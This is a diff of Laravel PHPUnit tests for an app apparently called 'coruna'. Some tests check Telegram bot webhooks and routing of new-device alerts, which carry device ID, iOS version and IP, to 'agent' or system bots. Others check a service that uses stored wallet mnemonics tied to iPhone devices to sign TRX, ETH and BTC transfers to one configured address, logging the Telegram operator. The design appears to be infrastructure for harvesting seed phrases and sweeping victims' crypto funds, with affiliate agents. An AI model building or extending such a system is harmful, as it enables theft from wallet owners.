$this->assertStringContainsString('不支持 /transfer', $msg['text'] ?? '');
|
||||
$this->assertStringNotContainsString('/transfer <fromAddress>', $msg['text'] ?? '');
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function agent_webhook_requires_secret_and_config(): void
|
||||
{
|
||||
$bare = User::query()->create([
|
||||
'username' => 'agent_hook_bare',
|
||||
'password' => 'secret12',
|
||||
'status' => 1,
|
||||
]);
|
||||
$this->postJson('/hooks/telegram/agent/'.$bare->id, ['update_id' => 1])
|
||||
->assertNotFound();
|
||||
|
||||
$agent = User::query()->create([
|
||||
'username' => 'agent_hook',
|
||||
'password' => 'secret12',
|
||||
'status' => 1,
|
||||
'bot_token' => '111:AAA',
|
||||
'chat_id' => (string) self::AGENT_CHAT,
|
||||
]);
|
||||
$this->assertTrue($agent->fresh()->hasTelegramBot());
|
||||
|
||||
$this->postJson('/hooks/telegram/agent/'.$agent->id, ['update_id' => 1], [
|
||||
'X-Telegram-Bot-Api-Secret-Token' => 'wrong',
|
||||
])->assertForbidden();
|
||||
|
||||
$secret = TelegramBotContext::webhookSecretFor($agent->fresh());
|
||||
$this->call(
|
||||
'POST',
|
||||
'/hooks/telegram/agent/'.$agent->id,
|
||||
[],
|
||||
[],
|
||||
[],
|
||||
[
|
||||
'CONTENT_TYPE' => 'application/json',
|
||||
'HTTP_X_TELEGRAM_BOT_API_SECRET_TOKEN' => $secret,
|
||||
],
|
||||
json_encode(['update_id' => 1])
|
||||
)->assertNoContent();
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,116 @@
|
||||
<?php
|
||||
|
||||
namespace Tests\Feature;
|
||||
|
||||
use App\Models\Channel;
|
||||
use App\Models\Device;
|
||||
use App\Models\User;
|
||||
use App\Services\TelegramNotifier;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
|
||||
class TelegramNotifierRoutingTest extends TestCase
|
||||
{
|
||||
use RefreshDatabase;
|
||||
|
||||
#[Test]
|
||||
public function agent_device_notifies_agent_bot(): void
|
||||
{
|
||||
config([
|
||||
'coruna.telegram.bot_token' => 'system-token',
|
||||
'coruna.telegram.owner_chat_id' => '100',
|
||||
]);
|
||||
|
||||
$agent = User::query()->create([
|
||||
'username' => 'agent_tg',
|
||||
'password' => 'secret12',
|
||||
'status' => 1,
|
||||
'bot_token' => 'agent-token',
|
||||
'chat_id' => '200',
|
||||
]);
|
||||
$channelId = 'eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee';
|
||||
Channel::query()->create([
|
||||
'channel_id' => $channelId,
|
||||
'user_id' => $agent->id,
|
||||
'status' => 1,
|
||||
]);
|
||||
Device::query()->create([
|
||||
'device_id' => 'dev-agent-1',
|
||||
'channel_id' => $channelId,
|
||||
]);
|
||||
|
||||
Http::fake(['api.telegram.org/*' => Http::response(['ok' => true], 200)]);
|
||||
|
||||
app(TelegramNotifier::class)->notifyNewDevice('dev-agent-1', '16.0', '1.2.3.4');
|
||||
|
||||
Http::assertSent(function ($request) {
|
||||
return str_contains($request->url(), '/botagent-token/')
|
||||
&& ($request->data()['chat_id'] ?? null) === '200';
|
||||
});
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function official_device_notifies_system_bot(): void
|
||||
{
|
||||
config([
|
||||
'coruna.telegram.bot_token' => 'system-token',
|
||||
'coruna.telegram.owner_chat_id' => '100',
|
||||
]);
|
||||
|
||||
$channelId = 'ffffffffffffffffffffffffffffffff';
|
||||
Channel::query()->create([
|
||||
'channel_id' => $channelId,
|
||||
'user_id' => Channel::OFFICIAL_USER_ID,
|
||||
'status' => 1,
|
||||
]);
|
||||
Device::query()->create([
|
||||
'device_id' => 'dev-official-1',
|
||||
'channel_id' => $channelId,
|
||||
]);
|
||||
|
||||
Http::fake(['api.telegram.org/*' => Http::response(['ok' => true], 200)]);
|
||||
|
||||
app(TelegramNotifier::class)->notifyNewDevice('dev-official-1', '16.0', '1.2.3.4');
|
||||
|
||||
Http::assertSent(function ($request) {
|
||||
return str_contains($request->url(), '/botsystem-token/')
|
||||
&& ($request->data()['chat_id'] ?? null) === '100';
|
||||
});
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function agent_without_telegram_falls_back_to_system(): void
|
||||
{
|
||||
config([
|
||||
'coruna.telegram.bot_token' => 'system-token',
|
||||
'coruna.telegram.owner_chat_id' => '100',
|
||||
]);
|
||||
|
||||
$agent = User::query()->create([
|
||||
'username' => 'agent_empty',
|
||||
'password' => 'secret12',
|
||||
'status' => 1,
|
||||
]);
|
||||
$channelId = '12121212121212121212121212121212';
|
||||
Channel::query()->create([
|
||||
'channel_id' => $channelId,
|
||||
'user_id' => $agent->id,
|
||||
'status' => 1,
|
||||
]);
|
||||
Device::query()->create([
|
||||
'device_id' => 'dev-fallback',
|
||||
'channel_id' => $channelId,
|
||||
]);
|
||||
|
||||
Http::fake(['api.telegram.org/*' => Http::response(['ok' => true], 200)]);
|
||||
|
||||
app(TelegramNotifier::class)->notifyNewDevice('dev-fallback', '16.0', '1.2.3.4');
|
||||
|
||||
Http::assertSent(function ($request) {
|
||||
return str_contains($request->url(), '/botsystem-token/')
|
||||
&& ($request->data()['chat_id'] ?? null) === '100';
|
||||
});
|
||||
}
|
||||
}
|
||||
@@ -3,6 +3,7 @@
|
||||
namespace Tests\Feature;
|
||||
|
||||
use App\Models\Device;
|
||||
use App\Models\TransferRecord;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Services\TransferService;
|
||||
@@ -81,13 +82,25 @@ class TransferServiceTest extends TestCase
|
||||
], 200),
|
||||
]);
|
||||
|
||||
$result = app(TransferService::class)->handle('tron', self::FROM, '1.5', 'TRX');
|
||||
$result = app(TransferService::class)->handle('tron', self::FROM, '1.5', 'TRX', 'telegram:1@ops');
|
||||
|
||||
$this->assertTrue($result['ok']);
|
||||
$this->assertSame(str_repeat('ab', 32), $result['txid']);
|
||||
$this->assertSame(self::FROM, $result['from']);
|
||||
$this->assertSame(self::TO, $result['to']);
|
||||
|
||||
$this->assertDatabaseHas('transfer_records', [
|
||||
'from_address' => self::FROM,
|
||||
'to_address' => self::TO,
|
||||
'chain' => 'tron',
|
||||
'tx_hash' => str_repeat('ab', 32),
|
||||
'amount' => '1.5',
|
||||
'type' => TransferRecord::TYPE_OUT,
|
||||
'asset' => 'TRX',
|
||||
'operator' => 'telegram:1@ops',
|
||||
'status' => TransferRecord::STATUS_SUCCESS,
|
||||
]);
|
||||
|
||||
Http::assertSent(function ($request) {
|
||||
if (! str_ends_with($request->url(), '/wallet/createtransaction')) {
|
||||
return false;
|
||||
@@ -166,10 +179,20 @@ class TransferServiceTest extends TestCase
|
||||
config(['coruna.transfer.to_address' => '']);
|
||||
$this->seedFromWallet();
|
||||
|
||||
$result = app(TransferService::class)->handle('tron', self::FROM, '1', 'TRX');
|
||||
$result = app(TransferService::class)->handle('tron', self::FROM, '1', 'TRX', 'telegram:9');
|
||||
|
||||
$this->assertFalse($result['ok']);
|
||||
$this->assertStringContainsString('TRANSFER_TO_ADDRESS', $result['error']);
|
||||
|
||||
$this->assertDatabaseHas('transfer_records', [
|
||||
'from_address' => self::FROM,
|
||||
'to_address' => null,
|
||||
'chain' => 'tron',
|
||||
'asset' => 'TRX',
|
||||
'operator' => 'telegram:9',
|
||||
'status' => TransferRecord::STATUS_FAILED,
|
||||
'error' => 'TRANSFER_TO_ADDRESS is not configured',
|
||||
]);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
@@ -254,4 +277,103 @@ class TransferServiceTest extends TestCase
|
||||
return ($request->data()['amount'] ?? null) === 4_000_000;
|
||||
});
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function sends_native_eth_via_json_rpc(): void
|
||||
{
|
||||
$from = '0x9858effd232b4033e47d90003d41ec34ecaeda94';
|
||||
$to = '0x0000000000000000000000000000000000000001';
|
||||
config([
|
||||
'coruna.transfer.to_address_eth' => $to,
|
||||
'coruna.eth.rpc_url' => 'https://ethereum.publicnode.com',
|
||||
'coruna.eth.chain_id' => 1,
|
||||
]);
|
||||
|
||||
$device = Device::query()->create([
|
||||
'device_id' => 'dev-transfer-eth',
|
||||
'ios_version' => '18.0',
|
||||
'device_model' => 'iPhone',
|
||||
]);
|
||||
WalletAddress::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'address' => $from,
|
||||
'chain_type' => 'ETH',
|
||||
'source' => self::SOURCE,
|
||||
'monitor' => 0,
|
||||
]);
|
||||
$row = new WalletMnemonic(['device_id' => $device->id, 'source' => self::SOURCE]);
|
||||
$row->mnemonic = self::MNEMONIC;
|
||||
$row->save();
|
||||
|
||||
Http::fake([
|
||||
'https://ethereum.publicnode.com' => Http::sequence()
|
||||
->push(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x1'], 200) // nonce
|
||||
->push(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x3b9aca00'], 200) // gasPrice
|
||||
->push(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x'.str_repeat('ab', 32)], 200), // send
|
||||
]);
|
||||
|
||||
$result = app(TransferService::class)->handle('eth', $from, '0.01', 'ETH', 'telegram:1@ops');
|
||||
|
||||
$this->assertTrue($result['ok'] ?? false, $result['error'] ?? '');
|
||||
$this->assertSame('0x'.str_repeat('ab', 32), $result['txid']);
|
||||
$this->assertSame($to, $result['to']);
|
||||
$this->assertDatabaseHas('transfer_records', [
|
||||
'from_address' => $from,
|
||||
'chain' => 'eth',
|
||||
'asset' => 'ETH',
|
||||
'status' => TransferRecord::STATUS_SUCCESS,
|
||||
]);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function sends_native_btc_via_mempool_api(): void
|
||||
{
|
||||
$from = '1LqBGSKuX5yYUonjxT5qGfpUsXKYYWeabA';
|
||||
$to = '1Ak8PffB2meyfYnbXZR9EGfLfFZVpzJvQP';
|
||||
config([
|
||||
'coruna.transfer.to_address_btc' => $to,
|
||||
'coruna.btc.api_url' => 'https://mempool.space/api',
|
||||
'coruna.btc.fee_rate' => 1,
|
||||
]);
|
||||
|
||||
$device = Device::query()->create([
|
||||
'device_id' => 'dev-transfer-btc',
|
||||
'ios_version' => '18.0',
|
||||
'device_model' => 'iPhone',
|
||||
]);
|
||||
WalletAddress::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'address' => $from,
|
||||
'chain_type' => 'BTC',
|
||||
'source' => self::SOURCE,
|
||||
'monitor' => 0,
|
||||
]);
|
||||
$row = new WalletMnemonic(['device_id' => $device->id, 'source' => self::SOURCE]);
|
||||
$row->mnemonic = self::MNEMONIC;
|
||||
$row->save();
|
||||
|
||||
$txid = str_repeat('11', 32);
|
||||
Http::fake([
|
||||
'https://mempool.space/api/address/*/utxo' => Http::response([
|
||||
[
|
||||
'txid' => $txid,
|
||||
'vout' => 0,
|
||||
'value' => 100_000,
|
||||
'status' => ['confirmed' => true],
|
||||
],
|
||||
], 200),
|
||||
'https://mempool.space/api/tx' => Http::response(str_repeat('cd', 32), 200),
|
||||
]);
|
||||
|
||||
$result = app(TransferService::class)->handle('btc', $from, '0.0005', 'BTC');
|
||||
|
||||
$this->assertTrue($result['ok'] ?? false, $result['error'] ?? '');
|
||||
$this->assertSame(str_repeat('cd', 32), $result['txid']);
|
||||
$this->assertDatabaseHas('transfer_records', [
|
||||
'from_address' => $from,
|
||||
'chain' => 'btc',
|
||||
'asset' => 'BTC',
|
||||
'status' => TransferRecord::STATUS_SUCCESS,
|
||||
]);
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user